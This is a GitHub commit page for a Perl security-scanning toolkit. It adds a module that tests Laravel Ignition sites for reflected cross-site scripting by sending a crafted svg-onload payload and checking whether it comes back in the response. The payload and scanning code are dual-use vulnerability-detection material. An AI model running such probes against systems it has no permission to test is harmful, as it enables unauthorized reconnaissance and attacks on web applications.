- Sponsor
-
Notifications
You must be signed in to change notification settings - Fork 27
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Loading status checks…
A lot of updates (#90)
* fix name of the module * note * disable max redirect * upload the exploit * upload the exploit * better description * improving parameters description * fix response format * next severity * fix linter findings * improvings on the exploit * fix name of the module * remove desnecessary module * remove duplicate description * remove deuplicate module * next severity level * move analysis to just consider https urls * add filter to remove /original/ in the responses * added note * added note * improve the quality of inputs and also output format * update version * just a draft * reduce one line * add Laravel_Ignition_XSS.pm * update version --------- Co-authored-by: Heitor Gouvêa <[email protected]>
Showing
21 changed files
with
230 additions
and
104 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,4 @@ | ||
severity = 5 | ||
severity = 3 | ||
|
||
[-TestingAndDebugging::RequireUseStrict] | ||
[-TestingAndDebugging::RequireUseStrict] | ||
[-TestingAndDebugging::RequireUseWarnings] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
package Spellbook::Advisory::Laravel_Ignition_XSS { | ||
use strict; | ||
use warnings; | ||
use Spellbook::Core::UserAgent; | ||
use Spellbook::Helper::Generate_UUID; | ||
|
||
sub new { | ||
my ($self, $parameters) = @_; | ||
my ($help, $target, @results); | ||
|
||
Getopt::Long::GetOptionsFromArray ( | ||
$parameters, | ||
"h|help" => \$help, | ||
"t|target=s" => \$target | ||
); | ||
|
||
if ($target) { | ||
if ($target !~ /^http(s)?:\/\//) { | ||
$target = "https://$target"; | ||
} | ||
|
||
my @uuid = Spellbook::Helper::Generate_UUID -> new(["--version" => 4, "--repeat" => 1]); | ||
my $payload = "$target/_ignition/scripts/--%3E%3Csvg%20onload=alert%28$uuid[0]%29%3E"; | ||
my $userAgent = Spellbook::Core::UserAgent -> new(); | ||
my $request = $userAgent -> get($payload); | ||
|
||
if ( | ||
$request -> code() == 500 && | ||
$request -> content() =~ m/Undefined index:/ && | ||
$request -> content() =~ m/$uuid[0]/ | ||
) { | ||
push @results, $target; | ||
} | ||
|
||
return @results; | ||
} | ||
|
||
if ($help) { | ||
return " | ||
\rAdvisory::CVE_ | ||
\r======================= | ||
\r-h, --help See this menu | ||
\r-t, --target Define a target\n\n"; | ||
} | ||
|
||
return 0; | ||
} | ||
} | ||
|
||
1; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file was deleted.
Oops, something went wrong.
Oops, something went wrong.